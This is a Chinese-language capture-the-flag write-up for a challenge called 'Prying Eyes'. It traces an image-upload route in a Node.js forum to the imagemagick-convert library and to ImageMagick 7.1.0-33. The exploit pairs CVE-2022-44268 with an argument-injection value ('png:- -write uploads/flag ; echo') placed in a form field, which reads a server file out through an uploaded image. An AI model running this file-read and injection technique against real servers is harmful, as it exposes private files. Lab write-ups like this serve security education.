Prying Eyes Writeup
该网站是一个可以发布帖子的网站,同时可以上传图片,所以在源码中关注一下图片上传的地方有没有漏洞
观察源码我们可以发现,这里对每张上传的图片都用 convert
函数进行了处理
router.post(
"/post",
AuthRequired,
fileUpload({
limits: {
fileSize: 2 * 1024 * 1024,
},
}),
ValidationMiddleware("post", "/forum"),
async function (req, res) {
const { title, message, parentId, ...convertParams } = req.body;
if (parentId) {
const parentPost = await db.getPost(parentId);
if (!parentPost) {
req.flashError("That post doesn't seem to exist.");
return res.redirect("/forum");
}
}
let attachedImage = null;
if (req.files && req.files.image) {
const fileName = randomBytes(16).toString("hex");
const filePath = path.join(__dirname, "..", "uploads", fileName);
try {
const processedImage = await convert({
...convertParams,
srcData: req.files.image.data,
format: "AVIF",
});
await fs.writeFile(filePath, processedImage);
attachedImage = `/uploads/${fileName}`;
} catch (error) {
req.flashError(
"There was an issue processing your image, please try again."
);
console.error("Error occured while processing image:", error);
return res.redirect("/forum");
}
}
const { lastID: postId } = await db.createPost(
req.session.userId,
parentId,
title,
message,
attachedImage
);
if (parentId) {
return res.redirect(`/forum/post/${parentId}#post-${postId}`);
} else {
return res.redirect(`/forum/post/${postId}`);
}
}
);
通过定义,我们可以知道 convert
函数是一个 imagemagick-convert
的函数,我们可以通过这个函数来执行命令
const { convert } = require("imagemagick-convert");
同时在 package.json
中我们可以找到版本号 "imagemagick-convert": "1.0.3"
于是我们通过 npm.js
查找 imagemagick-convert
的源码 imagemagick-convert:1.0.3
在 imagemagick-convert
的源码中我们可以看到,这个包只是对传入的参数拼凑成了一个命令,然后通过 spawn
来执行命令
/**
* Proceed converting
* @returns {Promise<Buffer>}
*/
proceed() {
return new Promise((resolve, reject) => {
const source = this.options.get('srcData');
if (source && (source instanceof Buffer)) {
try {
const origin = this.createOccurrence(this.options.get('srcFormat')),
result = this.createOccurrence(this.options.get('format')),
cmd = this.composeCommand(origin, result),
cp = spawn('convert', cmd),
store = [];
cp.stdout.on('data', (data) => store.push(Buffer.from(data)));
cp.stdout.on('end', () => resolve(Buffer.concat(store)));
cp.stderr.on('data', (data) => reject(data.toString()));
cp.stdin.end(source);
}
catch (e) {
reject(e);
}
}
else reject(new Error('imagemagick-convert: the field `srcData` is required and should have `Buffer` type'));
});
}
因此我们需要找到利用这个系统执行的漏洞
此外我们还可以在 DOCKERFILE
中找到 ImageMagick
的版本号是 7.1.0-33
# Install packages
RUN apt update \
&& apt install -y wget pkg-config build-essential unzip libpng-dev libjpeg-dev libavif-dev libheif-dev supervisor \
&& wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.0-33.zip -O /tmp/ImageMagick-7.1.0-33.zip \
&& cd /tmp \
&& unzip ImageMagick-7.1.0-33.zip \
&& cd ImageMagick-7.1.0-33 \
&& ./configure \
&& make -j $(nproc) \
&& make install \
&& ldconfig /usr/local/lib \
&& rm -rf /var/lib/apt/lists/* /tmp/ImageMagick-7.1.0-33
经过搜索找到了 ImageMagick-7.1.0-33
的 POC CVE-2022-44268
只要使用 POC 生成带有攻击代码的图片,然后上传到网站,让图片被 ImageMagick
处理,就可以任意远程文件的内容藏在图片中
所以我们的攻击思路应该是:
- 生成带有攻击代码的图片
- 上传图片,让图片被
ImageMagick
处理 - 传出藏有执行结果的图片
从 DOCKERFILE
中可以看到 flag
的绝对路径应该是 /home/node/app/flag.txt
WORKDIR /home/node/app
# Copy challenge files
COPY --chown=node:node ./challenge/ .
因此我们使用 POC 将 /home/node/app/flag.txt
写入图片中
python ./generate.py -f "/home/node/app/flag.txt" -o output.png
将其上传到网站
但是,直接上传并不能把图片存到指定位置,所以我们需要通过 convert
函数的 format
参数来指定图片的格式,然后通过 srcData
参数来指定图片的内容,同时我们可以从源码中看出 cmd 命令的格式
convert <args> - AVIF:file_name
在 imagemagick 中文网 可以看到 write
命令可以将图片写入到指定位置
Content-Disposition: form-data; name="srcFormat"
png:- -write uploads/flag ; echo
构造成功后我们的 cmd 命令应该是
convert <args> png:- -write uploads/flag ; echo AVIF:file_name
发送请求包后,访问 uploads/flag
下载图片,最后使用 exiftool 就可以看到 flag
了
把 Hex 转换成字符串就可以得到 flag